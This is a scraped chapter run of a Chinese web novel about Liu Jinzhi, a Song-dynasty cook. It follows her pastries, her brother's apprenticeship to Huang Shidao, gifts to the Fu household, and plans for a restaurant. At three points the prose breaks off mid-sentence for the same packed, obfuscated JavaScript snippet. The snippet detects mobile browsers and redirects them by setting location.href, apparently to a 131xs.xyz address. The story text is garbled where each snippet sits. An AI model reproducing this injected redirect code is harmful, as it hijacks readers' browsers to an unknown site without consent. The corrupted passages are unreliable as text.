乳酪其实就是牛奶,宋代有设立“牛羊司乳酪院”,专门负责乳畜饲养及酥酪制造,为皇室提供乳制品。 往后,这股喜爱乳酪的风尚也传入民间,百姓也开始吃起酥酪,喝起乳酪。 传统乳制品就有蜜浮酥柰花、乳团与乳饼和汴京夜市流行的酥油鲍螺。 甚至还有一种发酵奶块冰镇制品,叫做“冰酪”,大体应该像现代的冰牛奶? 所以宋朝不愧被称之为吃货天堂。 就这些小食就足够叫人心生向往了。 柳金枝闻了闻乳酪,确保新鲜,就往里加上了糖和油。 这些调味品会让乳酪味道更甜,更鲜美。 但因为糖与油不可能完全融入牛奶里,在等比例均匀之后,还得静置片刻,等无法溶解的一部分沉在底部。 这时候,柳金枝就可以把散好霉气的龙井茶倒入石臼里头,用石杵细细碾碎成粉末。 这就是龙井茶糕的精髓—— 龙井馅儿。 当然,若只单纯用茶粉做馅儿,舌尖会略微发苦。 为了把味道调和到完美。 柳金枝又加入了红豆沙、绿豆沙等等甜味儿馅料。 而灶台那边,大火蒸了三十分钟之后,粘米粉与糯米粉都已经完全混合均匀了,成了一大块白面团似的东西,黏黏糊糊,躺在蒸笼里。 仔细闻,还能闻到一股隐隐的米香。 柳金枝将蒸锅拿下来,倒入一个干净的盆里,再把静置片刻后上下分层的乳酪、白砂糖和油的混合物淋进去,用竹箸用力搅拌,直到均匀。 黏黏糊糊的粉团变得更加乳白好闻,清甜的味道像是一把小钩子,引诱着人食指大动。 这个时候就可以开始做饼了。 宋朝小贩们做饼都有模具,把面粉揉成团塞在模具里,等面团差不多了成型再抠出来。 为了让自己的糕点好看一点,柳金枝买了一些牡丹花的模具。 她把龙井馅儿等量的分开,揉成圆球,然后将一半的米粉倒入模具里,塞进龙井馅料,最后加满米粉,轻轻压实。 最后将模具反扣在针板上轻轻一敲,一块非常漂亮的牡丹花形状的龙井茶糕就做好了。 柳金枝依样画葫芦,也是一连做了12个,然后将它们和紫荆花水晶饺一起放进蒸笼里蒸熟。 这个时候天方亮,院子里传来了开门的声音,是柳霄起来了。 似乎是看见膳房还开着火,柳霄走进来瞧瞧,意料之中的看见了柳金枝,和她满手的粉,满脸的汗。 柳霄眼眶发红,却知道自己说什么也不足够表达感谢。 他只默默走过去,牵起柳金枝的手到水盆前,替她一点点洗去手上的面粉。 “阿姐的手那么漂亮,应该戴很多很多个金镯子、玉镯子。” 柳霄低声说。 “我以后都会一一买给阿姐。” 柳金枝露出一点笑,将热腾腾的糕点捡出来,装成两个食盒,一股脑塞给他。 “好了,什么都别说了,走吧,别耽误了拜师的好时辰。” * 黄师道住的地方较为偏远,两个人坐驴车差不多也要一个时辰才到。 这是一处看起来平平无奇的小巷子,可门口有一株虬枝盘曲的老槐树。枝梢垂吊着簇簇米白色槐花,似繁星缀满枝头,风起时花影婆娑,居然有几分说不出的清雅之意。 柳霄慎重道:“看来这位黄先生性格清高出尘,我们得更加谨慎才是。” “……嗯嗯。” 柳金枝挠了挠下巴,不好意思说自己看见这饱满金黄的槐花,第一时间只想着,这花用来做菜倒是不错。 春天里的槐花正好吃! 二人前去敲门,有一个小童把门打开。 柳霄还想自报家门,谁知小童对他们来拜师的人早已司空见惯,直接请他们进来,轻车熟路地指着庭院的两个石凳子。 “黄先生正在早睡,你们二人就在这里先等着吧。” 柳霄和柳金枝皆是道谢:“有劳小哥。” 随后坐下来观察庭院。 柳金枝瞧见黄先生的院子其实不大,但用处却不少。 院子的西南角养着一群鸡鸭鹅,笼子和她家的甚至还有些像。 西角又开辟了一块菜地,种了许多春季可见的蔬菜,有荠菜、青蒿、春笋、蕨芽、蒌蒿、韭菜…… 种类多到令人咂舌,还偏偏每类蔬菜都长得郁郁葱葱,一看就知道是主人精心伺候的结果。 再加上院门口那棵又高又大的槐花树。 “黄老师必然是个好吃之人。” 柳金枝笑道。 亏她还以为那槐花真是黄师道种来吟诗作对的呢。 “阿姐何以见得?”柳霄问。 “这院子里的东西无一不和吃有关。”柳金枝狡黠地朝柳霄眨眨眼,“我想我们这回大概率有希望了。” 然而想象是美好的。 柳金枝和柳霄在院子里足足坐了两个时辰,黄师道还没有出门见他们的意思,眼看着艳阳高照就要到正午了。 柳霄皱起眉头,但他还算沉得住气。 只是太阳这样大,晒得他与柳金枝二人都热汗涔涔。 柳霄就站起来将宽大袖子抖开,遮盖在柳金枝的头上充当伞盖。 少年人清瘦的身影坚定站着,像一柄逐渐成长起来,终于能为家人遮风避雨的大伞。 “霄哥儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15568985|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你坐下吧,我不热。” 柳金枝看柳霄的额头全是汗,但还撑着帮她遮凉,也心疼。 “阿姐,没事的,你坐好。” 柳霄一动不动。 就这么站了又一刻钟,柳霄的脸都被晒红,热汗大颗大颗滚落,沾湿了胸前衣襟,也没见他挪动过一寸地方,还是把柳金枝护的严严实实。 黄师道从窗户的缝隙看见了这一幕,暗自点了点头,对旁边的童子说:“这孩子的心性倒是不错,让他们进来吧。” 童子点头。 其实柳金枝也知道黄师道不见他们,八成是要考验一番。 所以她也忍着没去拉柳霄。 现在过了考验,她就忙不迭帮柳霄擦汗、扇风,关心问:“霄哥儿,你还好吧?” 柳霄小小声说:“没事,撑得住。” 柳金枝才放心下来,将带来的推荐信交给了黄师道。 待黄师道一五一十看过之后,颇为惊讶,问道:“原来你们是傅家推荐的,怎么方才不直接把这信拿出来?” 柳霄正色道:“虽然有推荐信在手,但我更希望老师是因为我的才能而收下的我。” “好小子,倒是有点骨气。” 黄师道颇为意外,但对柳霄这份心性十分满意。 “我给你一次机会,看见门外那个水缸了没有?” 柳霄扭头朝庭院里看去,发现最角落里有一个巨大的水缸,水面上飘满了浮萍,不知是有多久没用过了。 “看见了。”柳霄点头。 “好,那你用一支毛笔,蘸着水缸里的水写字。什么时候把水缸里的水写完了,我什么时候就收你为徒。” 柳金枝知道这是在考验柳霄的意志力。 但望着越来越毒辣的太阳,她心里还是有点担心。 却不曾想柳霄直接一口答应下来,从童子手里接过一支毛笔和一只碗,走到水缸前从缸里舀水出来写字。 这水缸硕大无比,要想用一只毛笔把水写完,最少也要用一个月。 柳金枝叹了口气,将手中的两个食盒交给黄师道。 “先生,这是我为您做的糕点,算做一点心意,请您试试。” “我只用天仙楼的糕点。”黄师道摇摇头。 但送礼就没有再拿回去的道理。 柳金枝将食盒放下。 “若您不喜欢,可以赏给其他人吃。盒子我暂且放在这里,到了晚上再来取回。” 柳金枝福身一礼,出了门,在大门口时忍不住多看了柳霄一眼。 但少年的后背虽然纤细单薄,但格外坚韧。 他是不会放弃的。 柳金枝收回自己的视线,回了家。 黄师道愿意给柳霄一次机会,只是觉得他为柳金枝遮凉的动作很有心意。 至于柳金枝的糕点,他还真没想着收。 但两只食盒就放在他的旁边,若有若无的香气从盒子的缝隙里飘出来,在他的鼻尖萦绕。 “嘶——” 他抽了抽鼻子,觉得这香气格外清香好闻,比起天仙楼的都不遑多让。 黄师道咂了咂嘴,问:“童子,我让你买的天仙的糕点你买了没有?” 童子道:“近来天仙楼的糕点有很多人排队,又贵又限量,我今天没能买到。先生,其实我瞧这位娘子做的糕点还挺香的,要不您试试?” “再香也好吃不过天仙楼啊。” 虽然嘴上这么说,临近中午的时候他还真是饿了。 也就随意打开一个盒子,取出里面的糕点来吃。 仔细一看,正是一个做的比花还好看的紫色饺子。 “这个做法倒是有趣儿,也不知道味道怎么样。童子,你也试试吧。” 童子点头。 两人一起把饺子往嘴里送去。 这一瞬间也不知道该怎么形容,黄师道只觉得舌头上的味蕾都被打开了,胃袋深处传来了前所未有的饥饿和渴望。 香椿的味道和鸡蛋的味道完全结合在了一起,清香醇厚,好似叫人置身旷野。 更难得的是,饺子的皮也是不薄,不厚,正正好。 嚼在嘴里的时候,只觉得每一道工序都好似恰到好处。 完美,美味。 黄师道一下子就反了悔,不该对柳金枝说自己只吃天仙楼的糕点的。 但懊恼归懊恼,他现在只想再吃一个。 35. 春饼与定胜糕 将紫荆花水晶饺,和龙井茶糕都仔仔细细品味了一遍。 两个食盒,二十四只糕点,很快就被吃的见了底。 黄师道只觉得回味无穷,感叹道:“这个小子的姐姐莫不是开饭馆的?手艺竟然这么好。” 童子也是吃的意犹未尽,忍不住圈道:“不如先生收了他吧,往后说不定还有更多好吃的呢。” “那叫作弊。” 黄师道哼了一声,捋着胡子站起来看了一眼柳霄。 他们在屋子里讲了这么长时间的话,外头没一个人看着,柳霄却从没想弄虚作假,更没想过用碗在缸里舀水的时候,不经意间多撒一点出去。 以至于写了大半日,那缸子里的水跟没有变化一样。 倒是柳霄的身前大大小小留下了许多水痕。 再仔细一看那字,写的龙飞凤舞,金戈铁马,确实不错。 黄师道满意地点点头,又很高兴:“这小子不用靠作弊,我瞧以他的心性,迟早也会过了我这关的。” 柳霄从早写到晚,等到最后一笔落下时看了看时辰,他主动将碗里没有写完的水重新倒回缸子里,然后站起来对着屋门叉手一拜,这才转身离开。 于是从这天开始,柳金枝每天都做一些好吃的送柳霄来黄师道这里写字。 好在春天的时候太阳颇大,写出来的字很快就干的蒸发了,不算特别耽误进度。 足足一月的时间过去了。 春闱已过,柳霄才将缸里的水全部写完。 “先生,您要求的事情我已经做到了。” 柳霄站姿笔直。 黄师道对这个弟子也颇为满意,笑道:“好,我算收下你这个弟子。” 柳霄大喜过望,连忙下跪叩拜。 “但我为了考验你,让你错过了春闱考试,要想再考只能等下半年的秋闱。你可会怪我?”黄师道问。 “学生不曾怪过老师,老师当初考验学生的时候,自然会考虑到这一点。但老师还是对学生提出了这个要求,这就证明学生的功课还不够好。即使勉强上场,也不会得到什么好名次。” 柳霄道。 这一番话说下来,让黄师道对柳霄更加满意。 “你能有如此心性,我感到很欣慰。”黄师道站起身,“我早些年曾经收过一个弟子,如今我将他介绍给你认识。” 柳霄正起脸色,恭敬地跟着黄师道一同走进内室。 内室里坐着个模样端庄的中年男子。 男子看见黄师道带人进来,不由站起身来叉手一拜,笑道:“恭喜老师又收获了一位称心如意的弟子。” 柳霄恭敬的对男子下拜:“见过师兄。” 男子摇摇头:“不必那么客气。” 黄师道笑道:“霄哥儿,你还不知道他是谁,他就是此前算经科的榜首,韦林。” 柳霄一怔。 他没有想到这个看似普通的男人居然有那么大的来历。 韦林道:“老师何必再拿这个名头出来唬人?在往前十几年,老师也是算经科的榜首啊。” 两人相识一笑。 黄师道道:“说正经事,我虽收了你这个小师弟,却不知该如何教他,你帮我看一看,他到底在何方面有天赋?” 韦林笑道:“既是让我来测,我自然要出几道算术题。” 柳霄再次叉手下拜:“还请师兄不吝赐教。” 于是韦林从易到难写了数十道考题摆在桌面,让柳霄在一柱香烧完之前全部写出来。 但是仅仅过去了半柱香,柳霄就将答案写满了纸面。 韦林惊异地拿起纸面仔细看了看,发现全部正确。 “好啊,好啊,这个孩子天生就适合考算经一科。”韦林赞叹道。 黄师道捋了捋胡子,笑道:“看来秋闱上的算经考试,你我师徒又要扬名了。” 柳霄垂眸不插话。 韦林道:“小师弟,我跟你说,老师教人从不走正道,不会一板一眼地叫你坐着埋头苦算,我们师门都讲究的是学以致用。正好我开了个书斋,以后你就跟着我在书斋里头跟人家算题。放心,我会付你工钱的。” 听到有工钱,刻在柳家血脉里的爱财基因一下子跳了出来。 柳霄问:“多少?” 韦林笑道:“一本算题册十文。” 宋朝一贯等于一千文,一钱等于一百文。 快速在心里换算过一遍后,柳霄点头答应。 “好!师兄,先给我七十本!” 韦林:啊? * 柳霄成功拜师的事情让柳家上下都特别高兴。 柳金枝做了一桌好吃的庆祝。 但她也不忘记这个机会是傅家给的,理应感谢。 正好此时春闱刚过,傅霁景已经下过场,正是等待成绩名次下发的时候。 她该做些寓意吉祥喜庆的糕点送过去。 思索再三,她就定下了春饼和定胜糕。 春饼是宋朝人立春必食的薄饼。 其实往前一些到魏晋时期,春饼就已经有人吃了。 只不过那时候用来做春饼的食材是“五辛”,即葱、蒜、韭、薤和兴渠。 历史的车轮滚滚向前,春饼的原料食材也逐步扩大到纳入豌豆、菠菜等,又衍生出了“咬春”习俗。 到了宋朝,菜蔬更加丰富。 春饼用到的菜品又有了改变,有了白萝卜丝、蒌蒿、韭菜等新鲜时蔬。 成品色泽红绿交错,口感鲜脆,深得百姓喜爱。 刚好柳金枝的院子里就种了一些时令菜蔬。 她走过去拔起来。 刚出土的菜蔬还沾着一股春意,根部有泥土,更显得茎根碧绿欲滴。 为了不伤到其他菜蔬,她拔的很仔细。 根深一些的,就用小锄头慢慢挖。 最后挖出来一篮子,提着到井水口打水清洗。 井水清凉,在指尖划过,似清波一样。 菜蔬浸入水中,很快就洗干净了。 她捡出萝卜、蒌蒿和韭黄作为主料,再将菠菜、生菜等绿叶菜切丝,分门别类装在碗碟里。 随后倒入精细面粉,和水揉面,揉成软硬适中的面团,醒发小半个时辰。 为了达到隔饼见菜的薄透效果,柳金枝在面团醒好揪拽之时,每两个小团擀成面饼就就刷油 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15568986|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叠合。 锅中也是一样。 将锅底每一处都细细地刷上油,等到油跳锅辣之时,眼疾手快将叠合的双层饼贴入锅中。 等到中火烙至双饼两面微黄,就用锅铲铲出来,趁热揭开成两张薄饼,覆湿布保温保湿。 最后准备一些仅以砂糖或米醋轻拌的酱料,春饼就做成了。 至于那些早就备好的菜蔬不必焯水,吃的时候,就用春饼卷起菜蔬蘸酱,更清甜爽脆。 柳金枝将他们装入一个食盒中,再转手来做定胜糕。 传说定胜糕与抗金名将韩世忠、岳飞相关。 当敌军来袭,南宋百姓为鼓舞将士士气,特制印有“定胜”二字的糕点,寓意“必定胜利”。 此后这款糕点从军中流传至民间,常用于科举、婚庆等场合。 明代兰陵笑笑生所写的《金瓶梅》中,就出现了许多次,可见定胜糕在民间传播之广。 不过柳金枝推测,这其中应该也有定胜糕做法简单的缘故。 因为就原料来说,定胜糕只需粳米与糯米,按照三比二的比例混合均匀即可。 至于糕上“定胜”二字,可加入红曲粉或玫瑰酱染色,最后辅以豆沙、糖板油丁等馅料。 工序上也不难。 将以上提到的粳米和糯米分别磨粉、拌潮,即加水揉搓、用模具压制出形状、再旺火蒸制。 最后成品口感松软清香,色泽淡红如茱萸。 只有定胜糕的形状颇有趣味。 其形制源于宋代金银铤的“定胜(升)形”。两头宽中间细,像一块块金银,正好象征财富与胜利。 柳金枝早已买好模板。 把准备好的原料压进模板里,定形片刻,再反扣敲下来,糕落成金,形状吉利。 她特意做了很多个,摆满了院子里的二十个簸箕。 毕竟参加春闱的可不止傅霁景一个,还有汴京城里许许多多的儿郎呢。 这可是一桩大生意。 正做着,杜卫从外头进来了,看见满院子的定胜糕,笑道:“东家,我与你想到一处了。” “怎的?” “我打听了一圈,附近饭馆里都挂上了定胜糕的牌子。我想着咱们也要卖,正要回来与你说呢,没想到已经做好了。” 柳金枝笑道:“生意就是要赶早。” 杜卫一边弯腰把纱布盖在簸箕上,免得尘土飞扬,一边说: “东家,有个事儿我想跟你说。” 柳金枝顿了顿,问:“怎么?食摊发生什么事了?” 杜卫摇摇头:“没什么大事,就是最近我卖吃食的时候,总感觉有人在暗地里看我们。” 柳金枝顿时停下做吃食的手:“此前孙玉香闹得那么厉害,是不是还有人想来看热闹?如果是这些就不用管,我连夜市都是照常去,那些流言蜚语对我没什么影响,也不怕别人打听。” “像是来看热闹的,但又不太像。”杜卫犹豫着说,“其中有一个……我认出来,是汴京城有名的泼皮无赖,专门……专门……” 柳金枝眉头一皱:“专门干什么?” “专门调戏妇女,赖人清白。” 36. 山海兜 “砰——!” 柳金枝把手里菜刀一下子剁在了菜板上。 唬得杜卫立即缩了下脖子。 柳金枝冷笑道:“他们这是听了孙玉香的鬼话,以为我人尽可妻,想来占我便宜?” 她一个人开食摊的时候就想到过这种情况。 毕竟她是一名年轻娘子,容貌也还算过得去。 家中又没有撑得起来的男人,只有幼弟、幼妹,要在这市井中混生活,很容易被人盯上。 也好在应天爵与他家有来往,周围人见了,碍于应天爵的名头,也忌惮一二,不敢来找麻烦。 但总有那么一两个不长眼的。 杜卫道:“东家,要不我去请应大爷来一趟?” 柳金枝磨牙:“先不忙。若每每有事都有求于人,总有求不动的时候,不如自己先立起来。” 她想了一想,道:“杜卫,你消息灵通,去帮我打听一下这几个泼皮无赖都住哪儿。要是他们不来惹我就罢了,若是来……” 柳金枝拿起菜刀,手腕利落翻了个花,然后狠狠一砍! 实心木墩子做成的菜板,顿时四分五裂。 “我凭这把子力气,也不会叫他们好过!” 杜卫肃然:“好!我这就去!” 一溜儿跑了。 柳金枝收拾了下心情,把定胜糕和春饼分别装成四个食盒,叫了辆驴车往傅府去了。 傅府最近很热闹,春闱考过,就是放榜。 没人会觉得傅霁景考不上。 因此傅家门口门庭若市,大多都是来求教傅霁景的。 傅家的权势在汴京太过招摇醒目,为保全自身,一家人都以“和气待人”为第一要则,尽量做到不与人交恶。 所以但凡很有诚意的,傅家管事都会留下他们的姓名、试卷和地址,由傅霁景写了批语再送还回去。 因此,傅霁景在学子们中的名声也日益鼎盛。 柳金枝登门拜访时,正好遇上一群书生与傅霁景一同探讨诗词。 一群人在春色满园的庭院中或站或立,对诗、说笑,很是热闹。 双儿把柳金枝带来的四个食盒的其中两个,送到傅霁景手边,道: “二郎君,这是柳娘子送来的,说是她阿弟已经拜得名师,特来与您道谢。” 傅霁景抬眸一望。 柳金枝站在廊下,规规矩矩地与傅霁景福身一礼。 傅霁景不由笑起来,问双儿:“柳娘子手上还提了两个食盒,是送给谁的?” “是给大小姐和姑爷的。” 傅霁景点点头,想了想,笑道:“我想起来,我今日还没拜会过姐姐,等我结束这边的事情就去,你且让姐姐等等我。” 双儿:“是。” 尔后转过身,与柳金枝一同往后院去了。 傅霁景看着这两个食盒,正想着该如何脱身,身后有几个书生围上来笑道: “好香的味道,二郎,里头是什么?” “是啊,味道闻起来像是定胜糕。” …… 傅霁景便将食盒打开来,发现其中一个果然是定胜糕,另一个是春饼。 香气扑鼻,诱人食指大动。 傅霁景挑了下眉,似是想到了什么,问道:“你们可想试一试?” 书生们笑道:“若是二郎舍得,我们自然愿意。” 傅霁景便勾起唇角,一边把吃食都摆出来,一边温和道: “这些东西是方才廊下的娘子做的,她手艺很好。” “先前帮钦天监的李司正主持了四司六局,现在又在府上照顾我姐姐的胎。” “她还在太常寺附近开了一家小食摊,就叫柳氏食摊。” “你们……”傅霁景清咳两声,“可以去与她哪儿瞧瞧。” 傅霁景声名显赫,说是新生一代学子的领军人物也不为过。 因此他推荐的东西自然受大家响应。 “行,我今晚便去哪儿瞧瞧。” “二郎对这个食摊这般推崇,想必味道一定不不错。” 有个书生拈了块定胜糕咬了口,忍不住直点头:“味道清香酥软,比我以前吃的定胜糕清甜许多,还不腻口。” 另外有书生吃的是春饼。 “我从来没吃过这么新鲜的菜,好像刚从地里拔出来一样。” “确实很鲜脆,这饼皮也薄。” “来来来,这儿还有酱,大家都来试试。” …… 庭院内有数十个书生,两只食盒并不够吃,没一会儿就见了底。 引得人感叹:“难怪苏东坡往日每每遇上美食,都忍不住提笔作诗。今日我们吃了这春饼和糕,也算是得观古意了。” “诶,我有一个主意,咱们刚刚一直没定下最后一场诗会的诗题,如今就以“食”为题,如何?” “好主意,民以食为天,这个题切合民生!” “来来来,拿笔给我,我已有了一句。” …… 文人,大概皆是如此。 衣食住行、失意、发达皆可入诗。 要不然,后世学子哪儿来的唐诗宋词三千篇呢? 与此同时,傅钗华处。 傅钗华用完了膳食,笑道:“柳娘子,当真是多谢你费心了。” 柳金枝摇摇头,笑道:“奴承蒙主家关照,做这些都是应当的。” 傅钗华对双儿示意了一下。 双儿点点头,端来一个盘子,上面放置着一个钱袋子。 “这段时间承蒙娘子照顾,这袋子里面一共有二十两银子,就算做这个月给娘子的浇手费。” 双儿道。 二十两?! 柳金枝有些惊讶。 “二十两是不是太多了?”柳金枝道。 “对于别家也许算多,但对于我家却是不算。”双儿笑道,“娘子就收着吧。” 傅钗华也点头。 宋朝本来就对文人格外优待,不仅高官有厚禄,而且皇帝还经常公款请吃饭。 特别是对傅府这样的钟鸣鼎食之家,太爷又是太子太师,赏赐的金银自然不会少。 柳金枝起来福身道谢:“多谢主家。” 她掂了掂银子,心中将高粱坛子里的钱,与手中的赏钱一合计。 嘶…… 柳金枝缓缓睁大眼睛。 她好像攒够盘下铺面、开饭馆的银子了! 柳金枝脸上的表情瞒不过别人。 傅钗华笑道:“柳娘子是有好事发生?” 柳金枝不好意思地笑:“我一直想开间小饭馆儿,主家给我的赏钱正好够了。” “以娘子的手艺,这饭馆早该开起来了。”傅钗华很支持,“可有选好地点?” 柳金枝摇摇头。 她原本觉得太常寺附近不错。 但被孙玉香闹了一场,哪儿反而是个是非地了。 她想要换个地方,但又不能离御街太远。 傅钗华想了想,道:“我倒是有一处地方闲置着,就是不知道合不合你的心意,就在御街西边,占地五十个平方,许你一个月租金一两,如何?” 汴京城内租金一两,这分明就是傅钗华故意给的便宜。 柳金枝很高兴,笑道:“多谢主家!” “谢什么,我还指望着你往后多照料我的胎呢。”傅钗华摆摆手,“开饭馆的事务繁琐,柳娘子,你现在就可以回去准备了。” 柳金枝连连点头,笑道:“那我告退了。” 就兴高采烈地离去。 双儿犹豫了下,说:“小姐,二郎君不是说他一会儿要来吗?您怎么就让柳娘子去了?” 傅钗华只是眯了眯眼睛,道:“但我看柳娘子走的挺高兴的。” 双儿茫然。 傅钗华沉思。 所以看样子,不是柳金枝对她阿弟有意思,而是她阿弟对柳金枝上了心啊。 * 柳金枝是很高兴,所以一回到家,就把开饭馆的事情公布了。 月牙、柳霄还有才回来的杜卫,都被这消息砸懵了。 “这、这就可以开饭馆了吗?”杜卫不可思议。 柳金枝去把高粱坛子抱出来,连带着傅钗华给自己的赏钱,一股脑倒在桌上。 铜钱弹跳,散了满桌。 众人凑上来一数。 果真够了! 柳霄简直如在梦中。 月牙已经高兴傻了。 杜卫勉强反应过来,却兴奋地在房间里来回踱步。 “东家,地址选定了吗?”杜卫问。 “定了,就在御街西。” “那、那咱们就得请几个师傅帮忙做装修,饭馆一定要漂漂亮亮。” 杜卫拍手。 “还不止呢,咱们开了饭馆,人手就得扩大一倍。管账的,跑堂的,送菜的,还要有几个膳徒。不然生意一旦红火起来,我一个人做菜都做不过来。” 柳金枝笑说。 “阿姐说的有道理。”柳霄点头,“我等下就写两张大字贴,拿出去招人。” 杜卫道:“饭馆比食摊更大,咱们的桌椅还不够用,咱们还得出去买一批。” 月牙也想到:“还有还有!饭馆开业那天还要请舞龙舞狮,最好再放个大鞭炮!” “我觉得还有……” 一家人凑在一起兴奋地说个不停。 眨眼之间,提出了不少建议。 柳金枝笑道:“我有个想法,说给你们听听。” 几个人立即停下,认真看向柳金枝。 “咱们在这里住了这么久,平常遇事,街坊们都没少帮忙。” “所以我想咱们不如请街坊们去饭馆做事,工钱就比别处给的多些,也是一种报答。” “你们说呢?” 柳霄第一个点头:“我同意。隔壁的钱婶子、王婶子和黄婶子都闲在家中。偶尔出去给人帮工挣钱,我想她们应该会答应。” 柳金枝一笑:“别说什么应不应该,先将人请过来吧。我置办一桌席面,大家边吃边谈。” 三人:“好。” 算起来,这是柳金枝第二次请左邻右舍吃饭。 她想做的更好些,以谢大家相帮的热心。 于是在麦粥、稠饧等寻常菜色之中,额外加了一道山海兜。 这道菜原为宫廷菜“虾鱼笋蕨兜”,后传入民间,被改良成了如今的山海兜。 其做法主要被收录在南宋林洪的《山家清供》里头。 用料有虾仁、笋粒、蕨菜、鳜鱼…… 笋和蕨菜不算稀奇,虾仁倒要花些钱。 但请人办事,花钱是应当的。 柳金枝并不吝啬。 再把新鲜春笋找来,取其鲜嫩之处切丁。又将蕨菜焯水去涩,保留脆嫩口感。鳜鱼则是切片、虾仁保留整粒。 齐齐整整倒入大碗之中,加麻油、盐等调味。 山海兜的外兜是绿豆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15574173|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 粉做成,揉出来的面团呈浅绿色,却很薄,拿起来对着太阳瞧,恍若一片绿水晶。 柳金枝把面皮放在手中掂了掂,铺平后填入馅料,再用烫熟的香菜根扎口定型。 最后入蒸笼旺火蒸两分钟,再度取出时,粉皮透亮如蝉翼,内馅鲜香交融,很是诱人。 等到其他饭菜也陆陆续续做好时,黄昏已至,邻居们都到了。 大家还是像冬日里一样,围着一张桌子坐在庭院内说笑。 柳金枝给每人斟了一杯金华酒,笑道:“各位婶子,平日里我们柳家承蒙你们关照,今日置办酒席,就是为了答谢大家。” “这话说的倒叫我们不好意思,我们也没做什么。” 黄婶子笑道。 “好,婶子谦虚,那我也不多说了。”柳金枝端着酒杯一饮而尽,倒着亮相一圈,“我要说的话都在酒里,多谢!” 几位婶子都是心里一软。 待到动筷子时,发现这桌面上的都是好东西,看不出半点敷衍,不由得更觉得柳金枝懂事。 钱婶子爽快,道:“金枝,你有什么话就说了吧,只要是我做得到的,一定帮你。” 柳金枝也就笑着将饭馆招工的事情说了。 几个婶子都是哈哈大笑。 “我还以为是什么呢?不过就是去饭馆帮忙,我们还能挣些工钱,自然乐意啊。” 黄婶子笑道。 “也算我一个。” “我也是!” “我们要做什么,金枝你只管说就好了。” 几位婶子都这么畅快,柳金枝也就把饭馆里需要的职位都说了一遍。 有收拾桌椅、洗刷碗碟、打扫地面…… 给的工钱都要比别处丰厚二十文。 婶子们没有异议,又主动提出在饭馆建成之前也去帮忙。 于是这桩事就这么谈定了。 柳金枝笑眯眯招呼:“来,大家接着吃。” 正是此时,门口忽然传来一阵敲门声。 月牙兴奋的跳起来,道:“我去开门。” 柳金枝也是高兴,放着月牙去。 但没一会儿,就听见月牙在门口叫她:“阿姐,快过来,有个人找你。” 柳金枝疑惑的走到门口,却发现门口站着一张熟悉的脸。 阿芹对着柳金枝福身一礼,踌躇道:“柳娘子,打扰了,但不知你上次说的话是否还有效?我想当您的膳徒。” 柳金枝又惊又喜,连忙侧身让开一道空间,道:“快请进,我说的话当然有效,我正盼着你来了。” 杜卫、月牙和几个婶子都不认识阿芹,因此并没有上前。 阿芹来到屋里坐下,道:“前几天我的奴期到了,深思熟虑之后,还是决定来找娘子,还请娘子收留。” “你不知道,你来的正好,我正要开一家饭馆,却苦于没有人手帮忙。如果你想留下,我给你开一天五十文,只是饭馆起步初期可能要累些。” 阿芹倒不在意这些,只问:“那我能跟着娘子学做饭吗?娘子放心,我不会学成手艺就走,我想拜你为师。往后可以一直留在饭馆帮忙。” 柳金枝在三确认,阿芹都坚持如此之后。 “好,我愿意。” 阿芹眼前一亮,撇下包袱,下跪叩拜:“师父!” 柳金枝赶紧把人扶起来。 来了一个清秀温柔又知性的大姐姐,杜卫和月牙赶忙表示欢迎。 阿芹也很大方与众人一一见过。 柳金枝道:“既然阿芹加入了我们,自然也要住在这间房子里。杜卫你和月牙两个等会儿再去收拾一个偏室出来。” 两个人都点头。 柳金枝又对阿芹道:“我的饭馆还缺一位跑堂唱菜名的,如果你有认识的人可以推荐给我。” 阿芹点头,道:“好。” “现在阿芹跟着我拿着钱去盘铺子,杜卫你去找工匠师父,月牙你去街上找王师傅,请他帮我刻一套单子牌面出来,菜名我报给你听,你记住。” 月牙认真点头:“好。” 柳金枝将以前做过的蝌蚪粉一类都报给了月牙,还额外增添了许多。 阿芹担忧:“柳娘子,你报那么多的菜,一个小孩子记得住吗?” 柳金枝笑道:“你可不要小瞧她,她可是有名的过目不忘。” 果然,月牙一个人默了一会儿,就将全部的菜名都背了下来。 重复背诵的时候,没有一个字出错。 惊得阿芹瞪大了眼睛。 杜卫笑道:“东家我这就出去了,保管给你找手艺最好的工匠师傅。” 然后抱着月牙走了。 阿芹算是看出来了,柳金枝身边的人虽然少,但都是卧虎藏龙的高手。 月牙记忆力超群,这位杜卫小哥应该是熟悉城内的三教九流,听说柳金枝还有一个弟弟,算术能力超出常人。 她才刚来,又没有什么特长,看来需要更努力一点才可以在这里站稳脚。 阿芹打定主意,道:“我现在就出去找跑堂的。” 于是也跟着走了出去。 短时间之内想要建起一座饭馆比较困难。 